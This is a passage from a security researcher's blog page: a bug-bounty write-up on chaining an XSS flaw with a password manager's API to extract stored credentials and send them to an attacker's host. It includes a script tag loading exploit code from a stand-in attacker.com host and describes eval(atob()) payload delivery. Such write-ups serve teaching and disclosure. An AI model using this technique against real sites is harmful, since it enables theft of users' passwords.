1635<script src="//alexgorbatchev.com/pub/sh/current/scripts/shBrushCss.js" type="text/javascript"></script>
1636<script src="//alexgorbatchev.com/pub/sh/current/scripts/shBrushJava.js" type="text/javascript"></script>
1637<script src="//alexgorbatchev.com/pub/sh/current/scripts/shBrushJScript.js" type="text/javascript"></script>
1638<script src="//alexgorbatchev.com/pub/sh/current/scripts/shBrushPhp.js" type="text/javascript"></script>
1639<script src="//alexgorbatchev.com/pub/sh/current/scripts/shBrushPython.js" type="text/javascript"></script>
1640<script src="//alexgorbatchev.com/pub/sh/current/scripts/shBrushRuby.js" type="text/javascript"></script>
1641<script src="//alexgorbatchev.com/pub/sh/current/scripts/shBrushSql.js" type="text/javascript"></script>
1642<script src="//alexgorbatchev.com/pub/sh/current/scripts/shBrushVb.js" type="text/javascript"></script>
1643<script src="//alexgorbatchev.com/pub/sh/current/scripts/shBrushXml.js" type="text/javascript"></script>
1644<script src="//alexgorbatchev.com/pub/sh/current/scripts/shBrushPerl.js" type="text/javascript"></script>
1645<script language='javascript'>
1646SyntaxHighlighter.config.bloggerMode = true;
1647SyntaxHighlighter.config.clipboardSwf = atob(`aHR0cDovL2FsZXhnb3JiYXRjaGV2LmNvbS9wdWIvc2gvY3VycmVudC9zY3JpcHRzL2NsaXBib2FyZC5zd2Y=`);
1648SyntaxHighlighter.all();
1649</script>
1650<link href='https://www.blogger.com/dyn-css/authorization.css?targetBlogID=6813541491029333765&zx=f5776d4d-7698-4791-8f17-6deaf610a361' media='none' onload='if(media!='all')media='all'' rel='stylesheet'/><noscript><link href='https://www.blogger.com/dyn-css/authorization.css?targetBlogID=6813541491029333765&zx=f5776d4d-7698-4791-8f17-6deaf610a361' rel='stylesheet'/></noscript>
1651
1652</head>
1653<!--<body>-->
1654<body>
1655<!-- Preloader -->
1656<div id='loader'>
1657<div id='loaderInner'></div>
1658</div>
1659<!-- Top Navigation -->
1660<div class='menu-wrap'>
1661<nav class='menu navigation'>
1662<ul class='navbar menu-nav'>
1663<li><a class='easing' href='#sectionIntro'>Intro</a></li>
1664<li><a class='easing' href='#sectionAbout'>About</a></li>
1665<li><a class='easing' href='#sectionResume'>Resume</a></li>
1666<li><a class='easing' href='#sectionWorks'>Write-Ups</a></li>
1667<li><a class='easing' href='#sectionServices'>Services</a></li>
1668<li><a class='easing' href='#sectionContact'>Contact</a></li>
1669</ul>
1670</nav>
1671</div>
1672<button class='menu-button' id='open-button'><span aria-hidden='true' class='fa fa-bars'></span></button>
1673<div class='content-wrap'>
1674<div class='content_section'>
1675<!--section INTRO-->
1676<div id='sectionIntro'>
1677<div class='container-fluid'>
1678<div class='container aboutContainer'>
1679<!--INTRO BG -->
1680<div class='col-md-12 introHeader'>
1681<div class='introContent'>
1682<div class='introHeading'>
1683<div class='header section' id='header'><div class='widget Header' data-version='1' id='Header1'>
1684<div id='header-inner'>
1685<div class='titlewrapper'>
1686<h1 class='title'>
1687Shawar Khan
1688</h1>
1689</div>
1690<div class='descriptionwrapper'>
1691<p class='description'><span>Just a guy who breaks into web like a .357 bullet</span></p>
1692</div>
1693</div>
1694</div></div>
1695</div>
1696<section class='connect'>
1697<div class='box connect-box'>
1698<!-- Social Links Section -->
1699<ul class='connect-icons'>
1700<li><a class='twitter' href='https://twitter.com/ShawarkOFFICIAL'><span class='fa fa-twitter'></span></a><span class='text-twitter'>Twitter</span></li>
1701<li><a class='facebook' href='https://www.facebook.com/shawarkhanskofficial'><span class='fa fa-facebook'></span></a><span class='text-facebook'>Facebook</span></li>
1702<!--<li><a class='gplus' href='#'><span class='fa fa-google-plus'/></a><span class='text-gplus'>Google+</span></li> <li><a class='instagram' href='#'><span class='fa fa-instagram'/></a><span class='text-instagram'>Instagram</span></li>-->
1703<li><a class='youtube' href='https://www.youtube.com/user/shawarkhan52'><span class='fa fa-youtube-play'></span></a><span class='text-youtube'>Youtube</span></li>
1704</ul>
1705<!-- Social Links Section End-->
1706</div>
1707</section>
1708</div>
1709</div>
1710<!--<a class='easing scroll-down' href='#sectionAbout'> <div class='icon lnr lnr-arrow-down'/> </a>-->
1711<!--END INTRO BG -->
1712</div>
1713</div>
1714</div>
1715</div>
1716<!-- Section About -->
1717<section id='sectionAbout'>
1718<div class='container'>
1719<!-- section TITLE -->
1720<div class='sectionTitle wow fadeInUp animated' style='visibility: visible;'>
1721<h1>About me</h1>
1722<h4>Let me introduce myself</h4>
1723<hr/>
1724</div>
1725<div class='col-md-4 aboutMe aboutStory wow fadeInUp animated' style='visibility: visible;'>
1726<h1>A bit about me</h1>
1727<p>
1728<span class='textBlue'>
1729 i'm Shawar Khan.
1730 </span>
1731<br/><br/>
1732 As a Security enthausiast, within 3 years Shawar Khan identified major security vulnerabilities in the world's well-known companies including Google, Microsoft, Apple, PayPal. Acknowledged by over hundreds of companies and listed in over +100 Halls of Fame.
1733
1734 </p>
1735</div>
1736<div class='col-md-4 aboutMe aboutProfile wow fadeInUp animated' style='visibility: visible;'>
1737<h1>Profile</h1>
1738<!-- Porfile Av -->
1739<img alt='Shawar Khan' class='profileAv centered' src='https://4.bp.blogspot.com/-dQB8NTqb9H8/WJWbdGFCr0I/AAAAAAAABYo/1-NnWIgjvzkvbg8tsVB1cy-JBZErDngRACLcB/s1600/shawarkhan.jpg'/>
1740<!-- Porfile Av End-->
1741</div>
1742<div class='col-md-4 aboutMe aboutInfo wow fadeInUp animated' style='visibility: visible;'>
1743<h1>Personal info</h1>
1744<h3>Shawar Khan</h3>
1745<div class='profileInfo'>
1746<p>
1747 A <b>Security Researcher</b>, <b>Python enthusiast</b> and a <b>Synack Red Team (SRT)</b> Member.
1748 </p>
1749<p>Acknowledgements: <a href='http://www.shawarkhan.com/p/list-of-acknowledgements.html'>List Here</a></p>
1750<p>Hackerone: <a href='https://hackerone.com/shawarkhan'>View Hackerone profile</a></p>
1751<p>BugCrowd : <a href='https://bugcrowd.com/shawarkhan'>View Bugcrowd profile</a></p>
1752</div>
1753<div class='infoSocial'>
1754<ul>
1755<li><a href='https://twitter.com/ShawarkOFFICIAL'><i class='fa fa-twitter'></i></a></li>
1756<li><a href='https://web.facebook.com/shawarkhanskofficial'><i class='fa fa-facebook'></i></a></li>
1757<li><a href=' https://pk.linkedin.com/in/shawar-khan-4074a4b7'><i class='fa fa-linkedin'></i></a></li>
1758</ul>
1759</div>
1760</div>
1761<!-- END section TITLE -->
1762</div>
1763<!-- END container -->
1764</section>
1765<!-- Section About End-->
1766<!-- Section Resume -->
1767<section id='sectionResume'>
1768<!-- START container FLUID, SKILLS & THINGS -->
1769<div class='container-fluid'>
1770<div class='resumeStats'>
1771<span class='lnr lnr-heart wow bounceIn animated' style='visibility: visible;'></span>
1772<h2>Skills & Things about me</h2>
1773<div class='col-md-2 col-xs-6 col-sm-4 wow fadeInLeft animated' style='visibility: visible;'>
1774<div class='statsIconPerc'>
1775<span class='fa fa-globe'></span>
1776</div>
1777<div class='statsName'>
1778 Web Application
1779 </div>
1780</div>
1781<div class='col-md-2 col-xs-6 col-sm-4 wow fadeInRight animated' style='visibility: visible;'>
1782<div class='statsIconPerc'>
1783 100%
1784 </div>
1785<div class='statsName'>
1786 Penetration Testing
1787 </div>
1788</div>
1789<div class='col-md-2 col-xs-6 col-sm-4 wow fadeInLeft animated' style='visibility: visible;'>
1790<div class='statsIconPerc'>
1791<span class='fa fa-mobile'></span>
1792</div>
1793<div class='statsName'>
1794 Mobile App
1795 </div>
1796</div>
1797<div class='col-md-2 col-xs-6 col-sm-4 wow fadeInRight animated' style='visibility: visible;'>
1798<div class='statsIconPerc'>
1799 90%
1800 </div>
1801<div class='statsName'>
1802 Penetration Testing
1803 </div>
1804</div>
1805<div class='col-md-2 col-xs-6 col-sm-4 wow fadeInLeft animated' style='visibility: visible;'>
1806<div class='statsIconPerc'>
1807<span class='fa fa-code'></span>
1808</div>
1809<div class='statsName'>
1810 Python
1811 </div>
1812</div>
1813<div class='col-md-2 col-xs-6 col-sm-4 last-twenty wow fadeInRight animated' style='visibility: visible;'>
1814<div class='statsIconPerc'>
1815 90%
1816 </div>
1817<div class='statsName'>
1818 Exploit Writing
1819 </div>
1820</div>
1821</div>
1822<!--END resume STATS -->
1823</div>
1824<!--END container FLUID -->
1825</section>
1826<!-- Section Resume End-->
1827<!-- Section Works-->
1828<div id='sectionWorks'>
1829<div class='ct-wrapper'>
1830<div class='sectionTitle wow fadeInLeft animated' style='visibility: visible;'>
1831<h1>Write-Ups</h1>
1832<h4>My recent research work</h4>
1833<hr/>
1834</div>
1835<div class='content section' id='content'><div class='widget Blog' data-version='1' id='Blog1'>
1836<div class='blog-posts hfeed'>
1837<!--Can't find substitution for tag [defaultAdStart]-->
1838
1839 <div class="date-outer">
1840
1841<h2 class='date-header'><span>Wednesday, August 22, 2018</span></h2>
1842
1843 <div class="date-posts">
1844
1845<div class='post-outer'>
1846<div class='col-md-4 col-sm-4 col-xs-12 worksItem worksCateg1 sjps' style='display: inline-block;'>
1847<div class='theme-img'>
1848<div class='post-body entry-content' id='post-body-3297707886811690253' itemprop='description articleBody'>
1849<div class='entry-title'>
1850<h3 align='center' itemprop='name' style='display:none;'>
1851<a href='https://www.shawarkhan.com/2018/08/the-dark-side-of-xss-and-hacking-into.html'>The dark side of XSS and hacking into Password Vault</a>
1852</h3>
1853</div>
1854<div class='body-post'>
1855<span id='p3297707886811690253'><div dir="ltr" style="text-align: left;" trbidi="on">
1856<div class="separator" style="clear: both; text-align: center;">
1857</div>
1858<div class="separator" style="clear: both; text-align: center;">
1859</div>
1860<br />
1861<div class="separator" style="clear: both; text-align: center;">
1862</div>
1863<div class="separator" style="clear: both; text-align: center;">
1864</div>
1865<br />
1866<div class="separator" style="clear: both; text-align: center;">
1867<a href="https://4.bp.blogspot.com/-MFJvxhPMb3Q/W30RVLNnlTI/AAAAAAAAC20/UARiISGVOuYDdLaxt4ENNFwfZ1mknmPxQCLcBGAs/s1600/Screenshot%2B2018-08-22%2Bat%2B12.30.17%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="900" data-original-width="1600" height="360" src="https://4.bp.blogspot.com/-MFJvxhPMb3Q/W30RVLNnlTI/AAAAAAAAC20/UARiISGVOuYDdLaxt4ENNFwfZ1mknmPxQCLcBGAs/s640/Screenshot%2B2018-08-22%2Bat%2B12.30.17%2BPM.png" width="640" /></a></div>
1868<div class="separator" style="clear: both; text-align: center;">
1869</div>
1870<div class="separator" style="clear: both; text-align: center;">
1871</div>
1872<br />
1873<div class="separator" style="clear: both; text-align: center;">
1874</div>
1875Greetings everyone, been a long time since my last Write-up. Today, I want to share something really interesting with you guys. You guys might have used many kinds of <b>Passwords Vaults/Managers</b> that helps you store passwords of different kinds of websites such as Facebook, Gmail and other accounts. So, the vault should be protected enough to secure your data right?<br />
1876<br />
1877<h2 style="text-align: left;">
1878The Scenario</h2>
1879In the scenario that I experienced was having the same functionality, but in addition to account owns passwords, it was also having passwords of company employees. The interesting thing is <i>I was able to hack into the Password Vault that stores user passwords by exploiting a Cross-Site Scripting vulnerability</i> that I found in the same domain.<br />
1880<br />
1881So, whenever I test an application the first thing is that I identify what kind of company am I targeting. In this case this was the Password Manager, so as you all know it is a vault that stores passwords. The "Passwords" are the sensitive data that it (tries to) protect. Capturing and retrieving those passwords was my initial goal.<br />
1882<br />
1883<br />
1884<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
1885<tr><td style="text-align: center;"><a href="https://3.bp.blogspot.com/-dLKByG5PzGI/W30XFg0bM7I/AAAAAAAAC3E/GYh2I_zLzwsfRslopDaduvkjlpWH7RynwCLcBGAs/s1600/Screenshot%2B2018-08-22%2Bat%2B12.55.45%2BPM.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="300" data-original-width="878" height="218" src="https://3.bp.blogspot.com/-dLKByG5PzGI/W30XFg0bM7I/AAAAAAAAC3E/GYh2I_zLzwsfRslopDaduvkjlpWH7RynwCLcBGAs/s640/Screenshot%2B2018-08-22%2Bat%2B12.55.45%2BPM.png" width="640" /></a></td></tr>
1886<tr><td class="tr-caption" style="text-align: center;">2 records added to Password Vault containing account passwords</td><td class="tr-caption" style="text-align: center;"><br /></td></tr>
1887</tbody></table>
1888<br />
1889<h3 style="text-align: left;">
1890The flow of application</h3>
1891<div style="text-align: left;">
1892In order to understand how the application is working, we need to understand its functionality and its flow. We need to understand how data is retrieved and from where is it retrieved. </div>
1893<div style="text-align: left;">
1894<br /></div>
1895<div style="text-align: left;">
1896After carefully observing the application and going through each and every request I found that the application was retrieving different information from the API that was located at <b>/api/</b> of the application. </div>
1897<div style="text-align: left;">
1898<br /></div>
1899<div style="text-align: left;">
1900After a bit of crawling and spidering through the application I found some API endpoints:</div>
1901<br />
1902<div class="separator" style="clear: both; text-align: center;">
1903<a href="https://1.bp.blogspot.com/-h2m4w9QwlSw/W30bP6rnKZI/AAAAAAAAC3g/ldsOYUfKXHEn2iHWD15WPI4Dx1vfW50KACLcBGAs/s1600/Screenshot%2B2018-08-22%2Bat%2B1.13.37%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="396" data-original-width="582" src="https://1.bp.blogspot.com/-h2m4w9QwlSw/W30bP6rnKZI/AAAAAAAAC3g/ldsOYUfKXHEn2iHWD15WPI4Dx1vfW50KACLcBGAs/s1600/Screenshot%2B2018-08-22%2Bat%2B1.13.37%2BPM.png" /></a></div>
1904<div style="text-align: left;">
1905<br /></div>
1906<h3 style="text-align: left;">
1907API Endpoints to look into</h3>
1908<div style="text-align: left;">
1909As the application was fully interacting with the APIs, I understood the flow as each endpoint was returning some value and information such as record ID, session token and other things. Let me explain some of the APIs that i though might help in achieving my goal.</div>
1910<div style="text-align: left;">
1911<br /></div>
1912<h4 style="text-align: left;">
1913The records/all endpoint</h4>
1914<div style="text-align: left;">
1915An endpoint that was located at <b>/api/v3/records/all </b>and it was accepting a GET request. Once a GET request is sent<b> </b>while being authenticated, it returns JSON objects having <b>record ids</b> and other information related to available records.</div>
1916<div style="text-align: left;">
1917<br /></div>
1918<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
1919<tr><td style="text-align: center;"><a href="https://2.bp.blogspot.com/-7fmSg51Ittk/W30fJExiXSI/AAAAAAAAC4A/J2kylZHh5YAdL9qa0rKsbfGLUKPdDQ-gQCLcBGAs/s1600/record%2Ball%2Bendpoint%2Bresponse.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="893" data-original-width="695" src="https://2.bp.blogspot.com/-7fmSg51Ittk/W30fJExiXSI/AAAAAAAAC4A/J2kylZHh5YAdL9qa0rKsbfGLUKPdDQ-gQCLcBGAs/s1600/record%2Ball%2Bendpoint%2Bresponse.png" /></a></td></tr>
1920<tr><td class="tr-caption" style="text-align: center;">JSON response from<b> /api/v3/records/all</b></td></tr>
1921</tbody></table>
1922<div style="text-align: left;">
1923<br /></div>
1924<h4 style="text-align: left;">
1925The passwords/record endpoint</h4>
1926<div style="text-align: left;">
1927This endpoint was basically located at <b>/api/v1/passwords/record </b>. After the <b>record IDs</b> were retrieved from the <b>record/all</b> endpoint, this endpoint is used to retrieve passwords and full information from those specific record IDs.</div>
1928<div style="text-align: left;">
1929<br /></div>
1930<div style="text-align: left;">
1931In our case we got the following record IDs:</div>
1932<br />
1933<ul style="text-align: left;">
1934<li><b>526882 - </b>ID for "<b>Facebook Account</b>" record</li>
1935<li><b>526883 - </b>ID for "<b>Google Email</b>" record</li>
1936</ul>
1937<br />
1938If a user clicks on the "<b>Facebook Account</b>" record, a POST request to <b>/api/v1/passwords/record</b> will be sent using the following JSON data having the record ID <b>526882</b>:<br />
1939<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
1940<tr><td style="text-align: center;"><a href="https://4.bp.blogspot.com/-wQKibMqL358/W30j5er3G-I/AAAAAAAAC4M/vt3btsyS-ZIFcyD1MD-1fs-FY5URYOB2QCLcBGAs/s1600/request%2Bfor%2Bpassword%2Brecords.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="152" data-original-width="526" src="https://4.bp.blogspot.com/-wQKibMqL358/W30j5er3G-I/AAAAAAAAC4M/vt3btsyS-ZIFcyD1MD-1fs-FY5URYOB2QCLcBGAs/s1600/request%2Bfor%2Bpassword%2Brecords.png" /></a></td></tr>
1941<tr><td class="tr-caption" style="text-align: center;">Record ID being sent to API for retrieving full record information</td></tr>
1942</tbody></table>
1943and this will return the following information for the specified ID:<br />
1944<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
1945<tr><td style="text-align: center;"><a href="https://3.bp.blogspot.com/-qB4gBrTWU_g/W30lEy37enI/AAAAAAAAC4U/d1bDmBeXvts039e4Qlf4PoXlmGewR0dtwCLcBGAs/s1600/password%2Brecord%2Bresponse.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="617" data-original-width="948" src="https://3.bp.blogspot.com/-qB4gBrTWU_g/W30lEy37enI/AAAAAAAAC4U/d1bDmBeXvts039e4Qlf4PoXlmGewR0dtwCLcBGAs/s1600/password%2Brecord%2Bresponse.png" /></a></td></tr>
1946<tr><td class="tr-caption" style="text-align: center;">Full information of specified Record ID returned by the endpoint leaking Password & Usernames.</td></tr>
1947</tbody></table>
1948Now we know how IDs are being retrieved and how their data is returned but the issue is the application sends a CSRF token with every POST request that is sent to the API. A "<b>token</b>" should be present in the request in order to validate the session of the user.<br />
1949<h4 style="text-align: left;">
1950The session/token endpoint</h4>
1951<div style="text-align: left;">
1952<span style="font-weight: normal;">So in order to find out how that token was made. I looked up other endpoints to see if there was anything informative and I found that the API endpoint located at <b>/api/v1/session/token </b>was responsible for the generation of CSRF tokens. </span></div>
1953<div style="text-align: left;">
1954<br /></div>
1955<div style="text-align: left;">
1956<span style="font-weight: normal;">Making a GET request to the endpoint returns the following response:</span></div>
1957<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
1958<tr><td style="text-align: center;"><a href="https://1.bp.blogspot.com/-W8CF-IF2Tmk/W30ntMMdRtI/AAAAAAAAC4g/l3QMyzD2kNkgmgDt4HjSRekLFwk8HQVnwCLcBGAs/s1600/session%2Btoken%2Bresponse.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="245" data-original-width="754" src="https://1.bp.blogspot.com/-W8CF-IF2Tmk/W30ntMMdRtI/AAAAAAAAC4g/l3QMyzD2kNkgmgDt4HjSRekLFwk8HQVnwCLcBGAs/s1600/session%2Btoken%2Bresponse.png" /></a></td></tr>
1959<tr><td class="tr-caption" style="text-align: center;">Session/CSRF token returned by API endpoint</td></tr>
1960</tbody></table>
1961<div style="text-align: left;">
1962<br /></div>
1963<h2 style="text-align: left;">
1964Loading the Weapon </h2>
1965<div style="text-align: left;">
1966Now that we came to know about the flow of the application and the endpoints that are being used for exchange of data. We need to somehow obtain information from the following endpoints:</div>
1967<ul style="text-align: left;">
1968<li>Session Token from <b>/api/v1/passwords/record</b></li>
1969<li>Record IDs from <b>/api/v3/records/all</b></li>
1970<li>Record Information from <b>/api/v1/passwords/record</b></li>
1971</ul>
1972<br />
1973In order to obtain information from the endpoints, a simple trick would be exploiting some misconfigured <b>CORS</b> but the application doesn't seems to be using it for resource sharing.<br />
1974<br />
1975The other possibility was to find XSS vulnerability somewhere on the same domain in order to get rid of Same-Origin Policy(SOP). Else all of our <b>XHR</b> calls will be vanished and rejected due to violation of SOP.<br />
1976<br />
1977So, after a while I was successfully able to get XSS at an email activation page where user supplied email was reflecting back improperly.<br />
1978<br />
1979So let me give the world's most common demonstration of an XSS:<br />
1980<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
1981<tr><td style="text-align: center;"><a href="https://2.bp.blogspot.com/-1fS0p08-qmA/W30rUcNLfaI/AAAAAAAAC4s/5f8yZX46zgo5FMJ74A8mEKw_05OzVMB6QCLcBGAs/s1600/Screenshot%2B2018-08-22%2Bat%2B2.22.02%2BPM.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="398" data-original-width="826" src="https://2.bp.blogspot.com/-1fS0p08-qmA/W30rUcNLfaI/AAAAAAAAC4s/5f8yZX46zgo5FMJ74A8mEKw_05OzVMB6QCLcBGAs/s1600/Screenshot%2B2018-08-22%2Bat%2B2.22.02%2BPM.png" /></a></td></tr>
1982<tr><td class="tr-caption" style="text-align: center;">A popup without actual demonstration of risk</td></tr>
1983</tbody></table>
1984<br />
1985<br />
1986<br />
1987<br />
1988Alright, we just got ammo for our weapon. Now no need to worry about the SOP and we can easily make XHR calls in order to communicate with the APIs in the same way the application did.<br />
1989<br />
1990<b></b> <br />
1991<h3 style="text-align: left;">
1992Replicating the application flow</h3>
1993<div style="text-align: left;">
1994Now that we have all the things required, we have to replicate the application flow. In order to make an XSS exploit that replicates the application flow and grabs all the information nee<span id="goog_790763743"></span><span id="goog_790763744"></span>ded we need to make sure it proceeds in the same way.</div>
1995<div style="text-align: left;">
1996<br /></div>
1997<div style="text-align: left;">
1998First, we will use the javascript function <b>fetch() </b>in order to make a GET request to <b>/api/v3/records/all</b> in order to obtain all the record IDs:</div>
1999<div class="separator" style="clear: both; text-align: center;">
2000</div>
2001<div class="separator" style="clear: both; text-align: center;">
2002</div>
2003<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
2004<tr><td style="text-align: center;"><a href="https://4.bp.blogspot.com/-uIxZRnIblBk/W30xMoDVQ8I/AAAAAAAAC5k/mTDxDWk986w9TeBwOfI-dl30JZvvrkHNACLcBGAs/s1600/Screenshot%2B2018-08-22%2Bat%2B2.47.14%2BPM.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="372" data-original-width="1400" height="228" src="https://4.bp.blogspot.com/-uIxZRnIblBk/W30xMoDVQ8I/AAAAAAAAC5k/mTDxDWk986w9TeBwOfI-dl30JZvvrkHNACLcBGAs/s640/Screenshot%2B2018-08-22%2Bat%2B2.47.14%2BPM.png" width="640" /></a></td></tr>
2005<tr><td class="tr-caption" style="text-align: center;">Using fetch() to retrieve record IDs from the API</td></tr>
2006</tbody></table>
2007<div class="separator" style="clear: both; text-align: center;">
2008</div>
2009<div style="text-align: left;">
2010<br /></div>
2011<div class="separator" style="clear: both; text-align: center;">
2012</div>
2013<div style="text-align: left;">
2014after the records are grabbed the next thing is to get the session token in order to make POST requests. I also converted the response of records to JSON and called the value of record ID directly from the JSON object. A fetch() was used for sending a GET request for capturing the token and retrieving its value from the JSON object:<br />
2015<br />
2016<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
2017<tr><td style="text-align: center;"><a href="https://1.bp.blogspot.com/-6U6_Z4JTADU/W30ylKwV9zI/AAAAAAAAC50/Xz8vNyVUvBsyMkaAKO4H3t1jBCCdPtkcACLcBGAs/s1600/Screenshot%2B2018-08-22%2Bat%2B2.50.58%2BPM.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="497" data-original-width="1600" height="198" src="https://1.bp.blogspot.com/-6U6_Z4JTADU/W30ylKwV9zI/AAAAAAAAC50/Xz8vNyVUvBsyMkaAKO4H3t1jBCCdPtkcACLcBGAs/s640/Screenshot%2B2018-08-22%2Bat%2B2.50.58%2BPM.png" width="640" /></a></td></tr>
2018<tr><td class="tr-caption" style="text-align: center;">A fetch() being used for retrieving session_token as seen on line #20</td></tr>
2019</tbody></table>
2020<br />
2021Now we got the "<b>session_token</b>" & the "<b>record IDs</b>". Now all we have to do is to is to send a POST request having the "record ID" to <b>/api/v1/passwords/record. </b>I'll use the XHR to send a POST request with a specified record ID. I will loop through the record IDs so each record information will be retrieved one by one:<br />
2022<div class="separator" style="clear: both; text-align: center;">
2023<a href="https://4.bp.blogspot.com/-yuZfeMe8bow/W31naFhrHYI/AAAAAAAAC7I/p5ylgoCA2fAlLGrIQDhoABTM9EfahZ_bwCLcBGAs/s1600/Screenshot%2B2018-08-22%2Bat%2B6.38.20%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="601" data-original-width="1600" height="240" src="https://4.bp.blogspot.com/-yuZfeMe8bow/W31naFhrHYI/AAAAAAAAC7I/p5ylgoCA2fAlLGrIQDhoABTM9EfahZ_bwCLcBGAs/s640/Screenshot%2B2018-08-22%2Bat%2B6.38.20%2BPM.png" width="640" /></a></div>
2024<br />
2025<div class="separator" style="clear: both; text-align: center;">
2026</div>
2027As you can see from line #30-34, XHR is being configured with proper details. On the line #45 the values are placed in a proper form <b>{"id":record_ID_here,"is_organization:false} </b>and the request is made afterwards.<br />
2028<br />
2029Once the request is made, the response will be parsed and values will be grabbed such as <b>Title</b>, <b>URL</b>, <b>Username</b>, <b>Password</b> from the response. The values will be then added to a dummy variable <b>"data_chunks"</b> for final processing.<br />
2030<br />
2031<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
2032<tr><td style="text-align: center;"><a href="https://1.bp.blogspot.com/-_S6NS8M6x9g/W300gM3n2VI/AAAAAAAAC6I/P7zuleFqekItqbCqpxG0QEUKSgIxGEz6QCLcBGAs/s1600/Screenshot%2B2018-08-22%2Bat%2B3.01.18%2BPM.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="201" data-original-width="1600" height="80" src="https://1.bp.blogspot.com/-_S6NS8M6x9g/W300gM3n2VI/AAAAAAAAC6I/P7zuleFqekItqbCqpxG0QEUKSgIxGEz6QCLcBGAs/s640/Screenshot%2B2018-08-22%2Bat%2B3.01.18%2BPM.png" width="640" /></a></td></tr>
2033<tr><td class="tr-caption" style="text-align: center;">Storing data chunks to a dummy variable</td></tr>
2034</tbody></table>
2035<br />
2036After the dummy variable is filled with collected data, it will be converted to base64 to avoid conflicts of bad characters and will be sent to attacker's host.<br />
2037<br />
2038<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
2039<tr><td style="text-align: center;"><a href="https://2.bp.blogspot.com/-TsLK3SMDJho/W3009EhHTDI/AAAAAAAAC6Q/QfkgPR5Wz0YzX3wk38kUGFmJNyRIXkiNwCLcBGAs/s1600/Screenshot%2B2018-08-22%2Bat%2B3.02.46%2BPM.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="180" data-original-width="1300" height="88" src="https://2.bp.blogspot.com/-TsLK3SMDJho/W3009EhHTDI/AAAAAAAAC6Q/QfkgPR5Wz0YzX3wk38kUGFmJNyRIXkiNwCLcBGAs/s640/Screenshot%2B2018-08-22%2Bat%2B3.02.46%2BPM.png" width="640" /></a></td></tr>
2040<tr><td class="tr-caption" style="text-align: center;">Sending collected data as base64</td></tr>
2041</tbody></table>
2042<br />
2043<br /></div>
2044<blockquote class="tr_bq">
2045Note:<i> There are many other methods to properly send the grabbed data but in order to demonstrate i'm using a simple way such as directly sending the base64 encoded data. Sending data via POST to a specific file would also be an exciting option.</i></blockquote>
2046<br />
2047<br />
2048<br />
2049<br />
2050<h3 style="text-align: left;">
2051Aiming & Shooting the target</h3>
2052<br />
2053<br />
2054Now that our exploit is completed, we have to inject it into the vulnerable area of XSS. There are 2 simply tricks that can be used when exploiting an XSS.<br />
2055<br />
2056<ul style="text-align: left;">
2057<li>Hosting your javascript exploit on external host ( You might have to set up CORS in order to make it accessible )</li>
2058<li>Including the payload directly with eval and atob</li>
2059</ul>
2060For the first technique, the external JS needs to be loaded via newly injected <b><script src="http://attacker.com/path_to_exploit.js"></script>. </b>This method is efficient when handling large exploit code and for some extra anonymity ( Exploit code won't be logged in server )<br />
2061<br />
2062The second method is quick and can be used for handling short payloads. I'll be using the following payload:<br />
2063<br />
2064<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
2065<tr><td style="text-align: center;"><a href="https://1.bp.blogspot.com/-n7ghjzVuchI/W303GZlzY4I/AAAAAAAAC6c/kUuk4ZJS_Ro9U3Sz3n6oytr0d9elML5ggCLcBGAs/s1600/carbon%25282%2529.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="152" data-original-width="686" height="140" src="https://1.bp.blogspot.com/-n7ghjzVuchI/W303GZlzY4I/AAAAAAAAC6c/kUuk4ZJS_Ro9U3Sz3n6oytr0d9elML5ggCLcBGAs/s640/carbon%25282%2529.png" width="640" /></a></td></tr>
2066<tr><td class="tr-caption" style="text-align: center;">Base payload to use</td></tr>
2067</tbody></table>
2068<br />
2069<br />
2070<div style="text-align: left;">
2071now simply replace atob()'s value with our base64 encoded source code will do the trick. First our payload will be base64 decoded by atob and then it will be executed using eval().</div>
2072<div style="text-align: left;">
2073<br /></div>
2074<div style="text-align: left;">
2075So here is the final payload:</div>
2076<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
